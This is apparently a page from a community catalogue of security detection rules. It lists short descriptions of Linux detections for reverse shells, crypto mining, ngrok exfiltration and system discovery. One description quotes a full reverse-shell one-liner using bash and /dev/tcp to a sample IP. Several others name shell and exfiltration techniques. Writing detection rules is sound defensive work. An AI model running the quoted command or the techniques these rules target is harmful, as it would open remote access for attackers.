Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
1,052 detections
Filters
Last updated
All Time
Detection languages
463
288
122
64
50
Contributors
294
271
176
84
69
Categories
570
378
164
145
126
Platforms
991
73
50
37
21
Products / Services
10,670
9,758
6,693
4,421
3,749
1,052
MITRE Techniques
333
252
245
164
161
CVEs
13
12
12
12
10
Detects usage of "find" binary in a suspicious manner to perform discovery
Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance
Detects execution of shells from a parent process located in a temporary (/tmp) directory
Detects suspicious command with /dev/tcp
Detects the creation of shell scripts under the "profile.d" path.
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Detects process connections to a Monero crypto mining pool
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Detects the usage of the unsafe bpftrace option
Crontab Enumeration
Sigma
Detects usage of crontab to list the tasks of the user
Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks
Detects execution of binaries located in potentially suspicious locations via "nohup"
Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.
SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity
Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets.
Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.
Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.
Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell
Detects usage of system utilities (only grep and egrep for now) to discover security software discovery
Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem
Detects a suspicious curl process start on linux with set useragent options
Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery
Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious
Page 49 of 51